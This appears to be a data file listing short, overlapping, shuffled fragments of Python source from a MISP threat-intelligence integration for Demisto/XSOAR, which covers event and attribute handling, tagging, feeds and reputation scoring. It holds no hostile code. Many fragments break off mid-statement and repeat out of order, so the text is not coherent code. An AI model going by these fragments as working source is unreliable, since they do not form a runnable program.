misp_new_event\",\n \"demisto_args.get('value') } event_id = event_id if event_id else arg_to_number(demisto_args.get('event_id'), \\\"event_id\\\") attributes_args.update({'id': event_id}) if\",\n \"positive integers.\\\"\\\"\\\" for tag in tag_ids: try: tag = int(tag) if tag <=\",\n \"Filter object from keys in event_args events[i] = {key: events[i].get(key) for key in\",\n \"provide a valid value for the Source Reliability parameter\\\") attributes_limit = arg_to_number(params.get('attributes_limit', 20),\",\n \"= argToBoolean(args.get('published', 'False')) return event def create_event_command(demisto_args: dict): \\\"\\\"\\\"Creating event in MISP with\",\n \"to internal (bool): if set to True, will not post results to Demisto\",\n \"response_for_context = build_attributes_search_response_return_only_values(response) number_of_results = len(response_for_context) md = tableToMarkdown(f\\\"MISP search-attributes returned {number_of_results} attributes\\\",\",\n \"dictionary created for misp to perform complex query or if no complex query\",\n \"GenericObjectGenerator: \\\"\\\"\\\" Args: template_name: template name as described in https://github.com/MISP/misp-objects args: arguments to\",\n \"readable_output=f\\\"No attributes found in MISP for value: {value}\\\") def get_events_related_to_scored_tag(all_attributes, found_tag): \\\"\\\"\\\" This\",\n \"CommandResults(readable_output=f\\\"No events found in MISP for the given filters: {args}\\\") def delete_event(demisto_args: dict):\",\n \"'locked', 'publish_timestamp', 'sharing_group_id', 'disable_correlation', 'event_creator_email', 'Org', 'Orgc', 'RelatedEvent', 'Galaxy', 'Tag', 'decay_score', 'Object', 'Feed',\",\n \"= tableToMarkdown( f\\\"MISP search-events returned {len(response_for_context)} events.\\\\n {pagination_message}\\\", event_outputs_to_human_readable, removeNull=True) return CommandResults( raw_response=response,\",\n \"given filters: {args}\\\") def delete_event(demisto_args: dict): \\\"\\\"\\\" Gets an event id and deletes\",\n \"build_attributes_search_response_return_only_values(response_object: Union[dict, requests.Response]) -> list: \\\"\\\"\\\"returns list of attributes' values that match the\",\n \"= [tag.get('Name') for tag in attribute.get('Tag')] if attribute.get( 'Tag') else None attribute_sightings =\",\n \"= get_dbot_indicator(dbot_type, dbot, value) all_attributes = outputs.get('Attribute') events_to_human_readable = get_events_related_to_scored_tag(all_attributes, found_tag) attribute_highlights =\",\n \"the attributes which match the required indicator value, this function parses the response.\",\n \"search returned from MISP to the context output format. please note: attributes are\",\n \"keys if 'type' in args_to_misp_format: args_to_misp_format['type_attribute'] = args_to_misp_format.pop('type') if 'to_ids' in args_to_misp_format: args_to_misp_format['to_ids']\",\n \"attributes that will be written to the context Returns: CommandResults includes all the\",\n \"MISP urls with feeds for example: https://www.misp-project.org/feeds/ feed format must be MISP. \\\"\\\"\\\"\",\n \"For more information please see build_complex_query in pymisp/api.py Args: demisto_query: complex query contains\",\n \"events found_tag_id = event.pop('Tag_ID') found_tag_name = event.pop('Tag_Name') return { 'Attribute Type': outputs[0].get('Type'), 'Dbot\",\n \"enforce_warninglist=True, include_decay_score=True, includeSightings=True) indicator_type = INDICATOR_TYPE_TO_DBOT_SCORE[dbot_type] is_indicator_found = misp_response and misp_response.get('Attribute') if is_indicator_found:\",\n \"object to replace keys in Returns: Union[dict, list, str]: same object type that\",\n \"non_req_args)) misp_attributes_args.append({'text': demisto_args.get('comment')}) if demisto_args.get('comment') else None obj = build_generic_object('ip-port', misp_attributes_args) return add_object(event_id,\",\n \"suspicious_tag_ids = argToList(params.get('suspicious_tag_ids')) reliability = params.get('integrationReliability', 'B - Usually reliable') if DBotScoreReliability.is_valid_type(reliability): reliability\",\n \"outputs_should_include_only_values: response_for_context = build_attributes_search_response_return_only_values(response) number_of_results = len(response_for_context) md = tableToMarkdown(f\\\"MISP search-attributes returned {number_of_results}\",\n \"{tag} has been successfully added to event {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID',\",\n \"human_readable = f'Tag {tag} has been successfully removed from the event {uuid}' return\",\n \"command == 'email': return_results(generic_reputation_command(args, 'email', 'EMAIL', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command ==\",\n \"value): if dbot_type == \\\"FILE\\\": hash_type = get_hash_type(value) if hash_type == 'md5': return\",\n \"None: misp_query_params[operator_key] = match_operator.group(2).split(',') is_complex_search = True return is_complex_search def prepare_args_to_search(controller): demisto_args =\",\n \"Whether the attribute_dict was received from an event object, meaning the tags are\",\n \"verify all the tags are valid positive integers.\\\"\\\"\\\" for tag in tag_ids: try:\",\n \"'tags', 'from', 'to', 'event_id', 'uuid', 'to_ids', 'last', 'include_decay_score', 'include_sightings', 'include_correlations', 'limit', 'page', 'enforceWarninglist',\",\n \"proxies=PROXIES) except PyMISPError as e: handle_connection_errors(e.message) PREDEFINED_FEEDS = { 'CIRCL': {'name': 'CIRCL OSINT\",\n \"response.get('Attribute') if not attributes_list: return None attributes_list = sorted(attributes_list, key=lambda attribute_item: attribute_item['event_id'], reverse=True)[:attributes_limit]\",\n \"'DecayScore', 'first_seen': 'first_seen', 'last_seen': 'last_seen', 'provider': 'Provider', 'source_format': 'SourceFormat', 'url': 'URL', 'event_uuids': 'EventUUIDS',\",\n \"'url': return_results( generic_reputation_command(args, 'url', 'URL', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'ip':\",\n \"response = PYMISP.search(uuid=uuid, controller='attributes') human_readable = f'Tag {tag} has been successfully removed from\",\n \"demisto_args.get('comment') value = demisto_args.get('value') first_seen = demisto_args.get('first_seen') last_seen = demisto_args.get('last_seen') attribute_instance = MISPAttribute()\",\n \"1, 'completed': 2 } MISP_DISTRIBUTION_TO_IDS = { 'Your_organization_only': 0, 'This_community_only': 1, 'Connected_communities': 2,\",\n \"if match_operator is not None: misp_query_params[operator_key] = match_operator.group(2).split(',') is_complex_search = True return is_complex_search\",\n \"if the given UUID belongs to an attribute (True) or event (False). \\\"\\\"\\\"\",\n \"is_event_level): \\\"\\\"\\\" As tag list can be full of in unnecessary data, we\",\n \"event.pop('Tag_Name') return { 'Attribute Type': outputs[0].get('Type'), 'Dbot Score': score, 'Attribute Value': outputs[0].get('Value'), 'Attribute\",\n \"ones as it is part of the event scope). If the data is\",\n \"found (after limit the attributes amount to the given limit) and by sub-functions\",\n \"tag.get('ID')}) return related_events def get_event_id(data_dict): if data_dict.get('EventID'): return data_dict.get('EventID') elif data_dict.get('ID'): return data_dict.get('ID')\",\n \"{value} is not valid\\\") def get_indicator_results(value, dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit): \\\"\\\"\\\" This\",\n \"attribute or event, depends on the called function\\\"\\\"\\\" if given_object.get('Galaxy'): given_object['Galaxy'] = [\",\n \"convert_timestamp_to_readable(attributes[i], None) formatted_attributes = replace_keys_from_misp_to_context_data(attributes) return formatted_attributes def build_galaxy_output(given_object): \\\"\\\"\\\"given_object is attribute or\",\n \"== 'misp-add-ip-object': return_results(add_ip_object(args)) elif command == 'misp-add-object': return_results(add_generic_object_command(args)) elif command == 'misp-update-attribute': return_results(update_attribute_command(args))\",\n \"found_related_events, attributes_tag_ids, event_tag_ids = prepare_attributes_array_to_context_data(attributes_list) attribute_in_event_with_bad_threat_level = found_event_with_bad_threat_level_id(found_related_events) score, found_tag = get_score(attribute_tags_ids=attributes_tag_ids, event_tags_ids=event_tag_ids,\",\n \"else arg_to_number(demisto_args.get('event_id'), \\\"event_id\\\") attributes_args.update({'id': event_id}) if event_id else None distribution = demisto_args.get('distribution') attributes_args.update({'distribution':\",\n \"belongs to an attribute (True) or event (False). \\\"\\\"\\\" uuid = demisto_args.get('uuid') tag\",\n \"the tags are valid positive integers.\\\"\\\"\\\" for tag in tag_ids: try: tag =\",\n \"# type: List[Dict[str, int]] for index, uri in enumerate(uri_list, 1): response = requests.get(f'{url}/{uri}.json',\",\n \"def search_events_with_scored_tag(object_data_dict, found_tag, event_name): \\\"\\\"\\\" By the given object we go over all\",\n \"'servers/getPyMISPVersion.json') if PYMISP._check_json_response(response): return 'ok' else: raise DemistoException('MISP has not connected.') def build_feed_url(demisto_args):\",\n \"create_updated_attribute_instance(demisto_args: dict, attribute_uuid: str) -> MISPAttribute: attribute_type = demisto_args.get('type') distribution = demisto_args.get('distribution') category\",\n \"demisto_args.get('event_id') domain = demisto_args.get('name') obj = MISPObject('domain-ip') ips = argToList(demisto_args.get('ip')) for ip in\",\n \"dbot_score=dbot_score) if dbot_type == \\\"DOMAIN\\\": return Common.Domain(domain=value, dbot_score=dbot_score) if dbot_type == \\\"EMAIL\\\": return\",\n \"reputation_type, dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit): reputation_value_list = argToList(demisto_args.get(reputation_type), ',') command_results = []\",\n \"by their event's threat level id. In such case, the score will be\",\n \"'This_community_only': 1, 'Connected_communities': 2, 'All_communities': 3, 'Inherit_event': 5 } SIGHTING_TYPE_NAME_TO_ID = { 'sighting':\",\n \"event.get('Info') scored_events.extend(search_events_with_scored_tag(event, found_tag, event_name)) scored_events.extend(search_events_with_scored_tag(attribute, found_tag, event_name)) return remove_duplicated_related_events(scored_events) def remove_duplicated_related_events(related_events): related_events_no_duplicates =\",\n \"[]) if event_objects: return [event_object.get('ID') for event_object in event.get('Object')] def event_to_human_readable(response: dict): event_highlights\",\n \"tag ids (each one is str), and verify all the tags are valid\",\n \"< 0: raise DemistoException('Attribute limit has to be a positive number.') response =\",\n \"if demisto_args.get('to_ids') == 'true' else 0 if 'from' in args_to_misp_format: args_to_misp_format['date_from'] = args_to_misp_format.pop('from')\",\n \"(dict): The dictionary that includes the tag list. is_event_level (bool): Whether the attribute_dict\",\n \"'domain': 'google.com'} [{'ip': '8.8.8.8'}, {'domain': 'google.com'}] \\\"\\\"\\\" return [{k: v} for k, v\",\n \"event in response: event_tags = event_to_human_readable_tag_list(event) event_galaxies = event_to_human_readable_galaxy_list(event) event_objects = event_to_human_readable_object_list(event) event_highlights.append({\",\n \"attribute to a given MISP event object This function can be called as\",\n \"{'original_filename': 'juice.exe'}, {'id': '2e445ef5389d8b'}] # guardrails-disable-line \\\"\\\"\\\" misp_object = GenericObjectGenerator(template_name) misp_object.generate_attributes(args) return misp_object\",\n \"event_galaxies = event_to_human_readable_galaxy_list(event) event_objects = event_to_human_readable_object_list(event) event_highlights.append({ 'Event ID': event.get('ID'), 'Event Tags': event_tags,\",\n \"for value: {value}', attribute_highlights, removeNull=True) readable_output += tableToMarkdown('Related events', list(found_related_events.values())) return CommandResults(indicator=indicator, raw_response=misp_response,\",\n \"misp_query_params, 'not_parameters') is_complex_search = is_complex_and_operator or is_complex_or_operator or is_complex_not_operator if is_complex_search: return PYMISP.build_complex_query(**misp_query_params)\",\n \"'initial': 0, 'ongoing': 1, 'completed': 2 } MISP_DISTRIBUTION_TO_IDS = { 'Your_organization_only': 0, 'This_community_only':\",\n \"DBotScoreReliability.get_dbot_score_reliability_from_str(reliability) else: Exception(\\\"MISP V3 error: Please provide a valid value for the Source\",\n \"given IP address: {value} is not valid\\\") if dbot_type == 'DOMAIN': if not\",\n \"'timestamp', 'distribution', 'proposal_email_lock', 'locked', 'publish_timestamp', 'sharing_group_id', 'disable_correlation', 'event_creator_email', 'Org', 'Orgc', 'RelatedEvent', 'Galaxy', 'Tag',\",\n \"# return full related attributes only if the user wants to get them\",\n \"\\\"\\\"\\\" text = demisto_args.get('text') event_id = demisto_args.get('event_id') domain = demisto_args.get('name') obj = MISPObject('domain-ip')\",\n \"MISP_ENTITIES_TO_CONTEXT_DATA = { 'deleted': 'Deleted', 'category': 'Category', 'comment': 'Comment', 'uuid': 'UUID', 'sharing_group_id': 'SharingGroupID',\",\n \"the indicator results. \\\"\\\"\\\" reputation_value_validation(value, dbot_type) misp_response = PYMISP.search(value=value, controller='attributes', include_context=True, include_correlations=True, include_event_tags=True,\",\n \"demisto_query, re.MULTILINE) match_or = re.search(regex_or, demisto_query, re.MULTILINE) match_not = re.search(regex_not, demisto_query, re.MULTILINE) is_complex_and_operator\",\n \"'id' in event_object: events_ids.append({'ID': event_object['id']}) if limit == len(events_ids): break human_readable = tableToMarkdown(f'Total\",\n \"(is_event_level = false), and the tag is only related to an attribute we\",\n \"(dict): contains info (name, id, threat level id) about all the events that\",\n \"event, depends on the called function\\\"\\\"\\\" if given_object.get('Tag'): given_object['Tag'] = [ {'Name': tag.get('name'),\",\n \"if event_tags: return [tag.get('Name') for tag in event_tags] def event_to_human_readable_galaxy_list(event): event_galaxies = event.get('Galaxy',\",\n \"events should be found. Returns: list includes all the events that were detected\",\n \"} MISP_DISTRIBUTION_TO_IDS = { 'Your_organization_only': 0, 'This_community_only': 1, 'Connected_communities': 2, 'All_communities': 3, 'Inherit_event':\",\n \"MISPObject): \\\"\\\"\\\"Sending object to MISP and returning outputs Args: obj: object to add\",\n \"example for a response in test_data/reputation_command_response.json Please see an example for a parsed\",\n \"attributes_args.update({'distribution': MISP_DISTRIBUTION_TO_IDS[distribution]}) if distribution else None if not new_event: response = PYMISP.search(eventid=event_id, pythonify=True)\",\n \"new_event: response = PYMISP.search(eventid=event_id, pythonify=True) if not response: raise DemistoException( f\\\"Error: An event\",\n \"zero or a positive number\\\") def attribute_response_to_markdown_table(response: dict): attribute_highlights = [] for attribute\",\n \"event.get('Distribution'), 'Event UUID': event.get('UUID') }) return attribute_highlights def search_attributes(demisto_args: dict) -> CommandResults: \\\"\\\"\\\"Execute\",\n \"found_tag, event_name): \\\"\\\"\\\" By the given object we go over all the tags\",\n \"except PyMISPError: raise DemistoException(\\\"Adding the required tag was failed. Please make sure the\",\n \"tag.get('is_galaxy') } for tag in given_object.get('Tag') ] def build_sighting_output_from_attribute_search_response(attribute): if attribute.get('Sighting'): attribute['Sighting'] =\",\n \"excluded from search-events output as the information is too big. User can use\",\n \"containing dicts that GenericObjectGenerator can take. Examples: >>> {'ip': '8.8.8.8', 'domain': 'google.com'} [{'ip':\",\n \"ID: {event_id} has not found in MISP: \\\\nError message: {response}') else: human_readable =\",\n \"valid value for the Source Reliability parameter\\\") attributes_limit = arg_to_number(params.get('attributes_limit', 20), \\\"attributes_limit\\\", required=True)\",\n \"= [] tag_set_ids = set() tags_list = attribute_dict.get('Tag', []) for tag in tags_list:\",\n \"dict_to_generic_object_format(args) obj = build_generic_object(template, args) return add_object(event_id, obj) except ValueError as e: raise\",\n \"all the indicator results. \\\"\\\"\\\" reputation_value_validation(value, dbot_type) misp_response = PYMISP.search(value=value, controller='attributes', include_context=True, include_correlations=True,\",\n \"dbot_score=dbot_score) def build_misp_complex_filter(demisto_query: str): \\\"\\\"\\\" Examples are available in UT: test_build_misp_complex_filter. For more\",\n \"any other case, we won't add the tag. Args: attribute_dict (dict): The dictionary\",\n \"PYMISP.search(value=value, controller='attributes', include_context=True, include_correlations=True, include_event_tags=True, enforce_warninglist=True, include_decay_score=True, includeSightings=True) indicator_type = INDICATOR_TYPE_TO_DBOT_SCORE[dbot_type] is_indicator_found =\",\n \"build_sighting_output_from_attribute_search_response(attributes[i]) convert_timestamp_to_readable(attributes[i], None) formatted_attributes = replace_keys_from_misp_to_context_data(attributes) return formatted_attributes def build_galaxy_output(given_object): \\\"\\\"\\\"given_object is attribute\",\n \"'disable_correlation': 'DisableCorrelation', 'distribution': 'Distribution', 'type': 'Type', 'id': 'ID', 'date': 'CreationDate', 'info': 'Info', 'published':\",\n \"object to MISP and returning outputs Args: obj: object to add to MISP\",\n \"'Attribute Type': attribute.get('Type'), 'Attribute Comment': attribute.get('Comment'), 'Attribute Value': attribute.get('Value'), 'Attribute Tags': attribute_tags, 'Attribute\",\n \"page < 0: raise DemistoException(\\\"page should be zero or a positive number\\\") if\",\n \"has to be a positive number.') response = PYMISP._prepare_request('GET', 'servers/getPyMISPVersion.json') if PYMISP._check_json_response(response): return\",\n \"given url: {value} is not valid\\\") if dbot_type == 'EMAIL': if not re.compile(emailRegex,\",\n \"that may exist\\\" else: pagination_message += f\\\"Showing page {page}\\\" md = tableToMarkdown( f\\\"MISP\",\n \"limit = arg_to_number(demisto_args.get('limit', 50), \\\"limit\\\", required=True) pagination_args_validation(page, limit) response = PYMISP.search(**args) if response:\",\n \"'URL', 'event_uuids': 'EventUUIDS', } MISP_ANALYSIS_TO_IDS = { 'initial': 0, 'ongoing': 1, 'completed': 2\",\n \"attribute_highlights = reputation_command_to_human_readable(all_attributes, score, events_to_human_readable) readable_output = tableToMarkdown(f'Results found in MISP for value:\",\n \"- Attributes tags (both malicious and suspicious) are stronger than events' tags. \\\"\\\"\\\"\",\n \"readable response, for more information and examples please see UT: test_extract_error. Args: error:\",\n \"positive integer, please change the given: '{tag}' id.\\\") except ValueError: raise DemistoException(f\\\"Tag id\",\n \"pagination_args_validation(page, limit) response = PYMISP.search(**args) if response: if outputs_should_include_only_values: response_for_context = build_attributes_search_response_return_only_values(response) number_of_results\",\n \"{'id': '2e445ef5389d8b'}] # guardrails-disable-line \\\"\\\"\\\" misp_object = GenericObjectGenerator(template_name) misp_object.generate_attributes(args) return misp_object def misp_convert_timestamp_to_date_string(timestamp:\",\n \"(as appear in ENTITIESDICT) Args: obj_to_build (Union[dict, list, str]): object to replace keys\",\n \"generic_reputation_command(args, 'ip', 'IP', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'domain': return_results( generic_reputation_command(args,\",\n \"removed from the attribute {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=build_attributes_search_response(response), raw_response=response )\",\n \"if value: attribute_instance.value = value if comment: attribute_instance.comment = comment if first_seen: attribute_instance.first_seen\",\n \"md = tableToMarkdown( f\\\"MISP search-events returned {len(response_for_context)} events.\\\\n {pagination_message}\\\", event_outputs_to_human_readable, removeNull=True) return CommandResults(\",\n \"was failed. Please make sure the UUID and tag exist.\\\") if is_attribute: response\",\n \"def remove_tag(demisto_args: dict, is_attribute=False): \\\"\\\"\\\" Function will remove tag to given UUID of\",\n \"to MISP, ' 'Please make sure the API key is correct.') return_error(error) def\",\n \"demisto.params() if not params.get('credentials') or not (MISP_API_KEY := params.get('credentials', {}).get('password')): raise DemistoException('Missing API\",\n \"tag that was configured to be malicious is stronger than recognised as suspicious).\",\n \"this is an attribute level, default is '0' tag_id = tag.get('id') if is_event_level:\",\n \"removed from the event {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(response), raw_response=response )\",\n \"'id': event_object.get('id') } for event_object in event['Object'] ] def build_tag_output(given_object): \\\"\\\"\\\"given_object is attribute\",\n \"elif command == 'misp-search-attributes': return_results(search_attributes(args)) elif command == 'misp-delete-event': return_results(delete_event(args)) elif command ==\",\n \"error] def dict_to_generic_object_format(args: dict) -> List[dict]: \\\"\\\"\\\" Converts args dict into a list,\",\n \"= copy.deepcopy(response) if include_correlations: # return full related attributes only if the user\",\n \"= list() # type: List[Dict[str, int]] for index, uri in enumerate(uri_list, 1): response\",\n \"+= f\\\"Showing page {page} out others that may exist\\\" else: pagination_message += f\\\"Showing\",\n \"template = demisto_args.get('template') attributes = demisto_args.get('attributes').replace(\\\"'\\\", '\\\"') try: args = json.loads(attributes) if not\",\n \"list Args: object_data_dict (dict): Event or attribute dict which includes tags list. found_tag\",\n \"event.get('Tag', []) if event_tags: return [tag.get('Name') for tag in event_tags] def event_to_human_readable_galaxy_list(event): event_galaxies\",\n \"Common.DBotScore.BAD, found_tag is_attribute_tag_suspicious = any((found_tag := tag) in attribute_tags_ids for tag in suspicious_tag_ids)\",\n \"object created in MISP Example: args should look like: [{'analysis_submitted_at': '2018-06-15T06:40:27'}, {'threat_score': {value=95,\",\n \"event_name, 'Tag_Name': tag_name, 'Tag_ID': tag.get('ID')}) return related_events def get_event_id(data_dict): if data_dict.get('EventID'): return data_dict.get('EventID')\",\n \"PYMISP = ExpandedPyMISP(url=MISP_URL, key=MISP_API_KEY, ssl=VERIFY, proxies=PROXIES) except PyMISPError as e: handle_connection_errors(e.message) PREDEFINED_FEEDS =\",\n \"event_to_human_readable_galaxy_list(event) event_objects = event_to_human_readable_object_list(event) event_highlights.append({ 'Event ID': event.get('ID'), 'Event Tags': event_tags, 'Event Galaxies':\",\n \"is event's (is_event_level = true) we would like to add to tag_set_ids all\",\n \"def build_attributes_search_response_return_only_values(response_object: Union[dict, requests.Response]) -> list: \\\"\\\"\\\"returns list of attributes' values that match\",\n \"Tags': event_tags, 'Event Galaxies': event_galaxies, 'Event Objects': event_objects, 'Publish Timestamp': event.get('PublishTimestamp'), 'Event Info':\",\n \"event_object: events_ids.append({'ID': event_object['id']}) if limit == len(events_ids): break human_readable = tableToMarkdown(f'Total of {len(events_ids)}\",\n \"category if value: attribute_instance.value = value if comment: attribute_instance.comment = comment if first_seen:\",\n \"the events that include the indicator Please see an example for a response\",\n \"True return is_complex_search def prepare_args_to_search(controller): demisto_args = demisto.args() args_to_misp_format = {arg: demisto_args[arg] for\",\n \"been successfully added to attribute {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=build_attributes_search_response(response), raw_response=response\",\n \"{} if not attributes_list: return None for attribute in attributes_list: attribute.pop(\\\"RelatedAttribute\\\") # get\",\n \"because of a NewConnectionError, ' 'Please make sure your MISP server url is\",\n \"command == 'misp-add-url-object': return_results(add_url_object(args)) elif command == 'misp-add-ip-object': return_results(add_ip_object(args)) elif command == 'misp-add-object':\",\n \"= {} if not attributes_list: return None for attribute in attributes_list: attribute.pop(\\\"RelatedAttribute\\\") #\",\n \"attribute.get('Tag'): limit_tag_output, tag_ids = limit_tag_output_to_id_and_name(attribute, False) attribute['Tag'] = limit_tag_output attributes_tag_ids.update(tag_ids) return found_related_events, attributes_tag_ids,\",\n \"[{arg.replace('_', '-'): demisto_args.get(arg)} for arg in args_names if demisto_args.get(arg)] def add_ip_object(demisto_args: dict): event_id\",\n \"url.endswith('/') else url if PREDEFINED_FEEDS.get(url): url = PREDEFINED_FEEDS[url].get('url') # type: ignore return url\",\n \"keys and values from Demisto to Misp's keys if 'type' in args_to_misp_format: args_to_misp_format['type_attribute']\",\n \"valid key in the integration configuration.') MISP_URL = params.get('url') VERIFY = not params.get('insecure')\",\n \"add_event_response = PYMISP.add_event(misp_new_event) event_object = add_event_response.get('Event') if event_object and 'id' in event_object: events_ids.append({'ID':\",\n \"suspicious_tag_ids def is_tag_list_valid(tag_ids): \\\"\\\"\\\"Gets a list ot tag ids (each one is str),\",\n \"event_args events[i] = {key: events[i].get(key) for key in EVENT_FIELDS if key in events[i]}\",\n \"(id) which made the indicator to get that score found_related_events (dict): contains info\",\n \"prepare_args_to_search(controller): demisto_args = demisto.args() args_to_misp_format = {arg: demisto_args[arg] for arg in MISP_SEARCH_ARGUMENTS if\",\n \"readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=events_ids, ) except ValueError as e: raise DemistoException(f'URL [{url}] is\",\n \"[] object_tags_list = object_data_dict.get('Tag', []) for tag in object_tags_list: if tag.get('ID') == found_tag:\",\n \"INDICATOR_TYPE_TO_DBOT_SCORE[dbot_type] is_indicator_found = misp_response and misp_response.get('Attribute') if is_indicator_found: outputs, score, found_tag, found_related_events =\",\n \"= limit_tag_output attributes_tag_ids.update(tag_ids) return found_related_events, attributes_tag_ids, event_tag_ids def convert_timestamp_to_readable(attribute, event): if attribute.get('timestamp'): attribute['timestamp']\",\n \"MISPAttribute: attribute_type = demisto_args.get('type') distribution = demisto_args.get('distribution') category = demisto_args.get('category') comment = demisto_args.get('comment')\",\n \"events that were detected as related to the tag. \\\"\\\"\\\" scored_events = []\",\n \"list of responses from error section Returns: List[Dict[str, any]]: filtered response \\\"\\\"\\\" return\",\n \"event_to_human_readable(response_for_context) pagination_message = f\\\"Current page size: {limit}\\\\n\\\" if len(response_for_context) == limit: pagination_message +=\",\n \"found returns the original input \\\"\\\"\\\" regex_and = r'(AND:)([^\\\\;]+)(;)?' regex_or = r'(OR:)([^\\\\;]+)(;)?' regex_not\",\n \"it is an event's tag. Otherwise (if it is set to 0 or\",\n \"# get rid of this useless list event = attribute.get('Event') convert_timestamp_to_readable(attribute, event) found_related_events[event.get(\\\"id\\\")]\",\n \"build_object_output(event): if event.get('Object'): event['Object'] = [ { 'name': event_object.get('name'), 'uuid': event_object.get('uuid'), 'description': event_object.get('description'),\",\n \"except ValueError: raise DemistoException(f\\\"Tag id has to be a positive integer, please change\",\n \"new_event (MISPEvent): When this function was called from create event command, the attrubite\",\n \"1:]: related_events_no_duplicates.append(related_events[i]) return related_events_no_duplicates def search_events_with_scored_tag(object_data_dict, found_tag, event_name): \\\"\\\"\\\" By the given object\",\n \"list. is_event_level (bool): Whether the attribute_dict was received from an event object, meaning\",\n \"= get_event_id(object_data_dict) tag_name = tag.get('Name') related_events.append({'Event_ID': event_id, 'Event_Name': event_name, 'Tag_Name': tag_name, 'Tag_ID': tag.get('ID')})\",\n \"1 it says that it is an event's tag. Otherwise (if it is\",\n \"event_outputs_to_human_readable = event_to_human_readable(response_for_context) pagination_message = f\\\"Current page size: {limit}\\\\n\\\" if len(response_for_context) == limit:\",\n \"module. \\\"\\\"\\\" is_tag_list_valid(malicious_tag_ids) is_tag_list_valid(suspicious_tag_ids) if attributes_limit < 0: raise DemistoException('Attribute limit has to\",\n \"outputs=response_for_context, outputs_prefix=\\\"MISP.Attribute\\\", outputs_key_field=\\\"ID\\\" ) else: return CommandResults(readable_output=f\\\"No attributes found in MISP for the\",\n \"value=value) human_readable = f\\\"## MISP add attribute\\\\nNew attribute: {value} was added to event\",\n \"context Returns: CommandResults includes all the indicator results. \\\"\\\"\\\" reputation_value_validation(value, dbot_type) misp_response =\",\n \"== \\\"DOMAIN\\\": return Common.Domain(domain=value, dbot_score=dbot_score) if dbot_type == \\\"EMAIL\\\": return Common.EMAIL(address=value, dbot_score=dbot_score) if\",\n \"comment = demisto_args.get('comment') value = demisto_args.get('value') first_seen = demisto_args.get('first_seen') last_seen = demisto_args.get('last_seen') attribute_instance\",\n \"Create a new MISP event object and set the event's details. \\\"\\\"\\\" event\",\n \"'disable_correlation', 'event_creator_email', 'Org', 'Orgc', 'RelatedEvent', 'Galaxy', 'Tag', 'decay_score', 'Object', 'Feed', ] ATTRIBUTE_FIELDS =\",\n \"== 'misp-add-domain-object': return_results(add_domain_object(args)) elif command == 'misp-add-url-object': return_results(add_url_object(args)) elif command == 'misp-add-ip-object': return_results(add_ip_object(args))\",\n \"and page < 0: raise DemistoException(\\\"page should be zero or a positive number\\\")\",\n \"= limit_tag_output event_tag_ids.update(tag_ids) if attribute.get('Tag'): limit_tag_output, tag_ids = limit_tag_output_to_id_and_name(attribute, False) attribute['Tag'] = limit_tag_output\",\n \"searches for the given attribute value in MISP and then calculates it's dbot\",\n \"# type: ignore from typing import Union, List, Dict from urllib.parse import urlparse\",\n \"attribute_instance.distribution = MISP_DISTRIBUTION_TO_IDS[distribution] if category: attribute_instance.category = category if value: attribute_instance.value = value\",\n \"try: PYMISP = ExpandedPyMISP(url=MISP_URL, key=MISP_API_KEY, ssl=VERIFY, proxies=PROXIES) except PyMISPError as e: handle_connection_errors(e.message) PREDEFINED_FEEDS\",\n \"misp_attributes_args = convert_arg_to_misp_args(demisto_args, ip_object_args) ips = argToList(demisto_args.get('ip')) for ip in ips: misp_attributes_args.append({'ip': ip})\",\n \"from urllib.parse import urlparse import urllib3 from pymisp import ExpandedPyMISP, PyMISPError, MISPObject, MISPSighting,\",\n \"fields as they are shared by the events found_tag_id = event.pop('Tag_ID') found_tag_name =\",\n \"hash_format == 'Unknown': raise DemistoException('Invalid hash length, enter file hash of format MD5,\",\n \"'last_seen', ] misp_attributes_args.extend(convert_arg_to_misp_args(demisto_args, non_req_args)) misp_attributes_args.append({'text': demisto_args.get('comment')}) if demisto_args.get('comment') else None obj = build_generic_object('ip-port',\",\n \"'-'): demisto_args.get(arg)} for arg in args_names if demisto_args.get(arg)] def add_ip_object(demisto_args: dict): event_id =\",\n \"def handle_tag_duplication_ids(malicious_tag_ids, suspicious_tag_ids): \\\"\\\"\\\" Gets 2 sets which include tag ids. If there\",\n \"List, Dict from urllib.parse import urlparse import urllib3 from pymisp import ExpandedPyMISP, PyMISPError,\",\n \"demisto_args.get('uuid') tag = demisto_args.get('tag') try: response = PYMISP.untag(uuid, tag) if response and response.get('errors'):\",\n \"it to human readable format \\\"\\\"\\\" return datetime.utcfromtimestamp(int(timestamp)).strftime('%Y-%m-%dT%H:%M:%SZ') if timestamp else \\\"\\\" def\",\n \"original input \\\"\\\"\\\" regex_and = r'(AND:)([^\\\\;]+)(;)?' regex_or = r'(OR:)([^\\\\;]+)(;)?' regex_not = r'(NOT:)([^\\\\;]+)(;)?' misp_query_params\",\n \"'url', 'URL', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'ip': return_results( generic_reputation_command(args, 'ip',\",\n \"both Malicious tag ids and Suspicious tag ids lists the indicator will be\",\n \"malicious_tag_ids=malicious_tag_ids, suspicious_tag_ids=suspicious_tag_ids, is_attribute_in_event_with_bad_threat_level=attribute_in_event_with_bad_threat_level) formatted_response = replace_keys_from_misp_to_context_data({'Attribute': attributes_list}) return formatted_response, score, found_tag, found_related_events def\",\n \"post results to Demisto demisto_args (dict): Demisto args new_event (MISPEvent): When this function\",\n \"note: attributes are excluded from search-events output as the information is too big.\",\n \"any((found_tag := tag) in attribute_tags_ids for tag in suspicious_tag_ids) if is_attribute_tag_suspicious: return Common.DBotScore.SUSPICIOUS,\",\n \"if not params.get('credentials') or not (MISP_API_KEY := params.get('credentials', {}).get('password')): raise DemistoException('Missing API Key.\",\n \"id has to be a positive integer, please change the given: '{tag}' id.\\\")\",\n \"as malicious will be scored 3 (i.e malicious). * have tags which configured\",\n \"if dbot_type == 'IP': if not is_ip_valid(value): raise DemistoException(f\\\"Error: The given IP address:\",\n \"'first_seen', 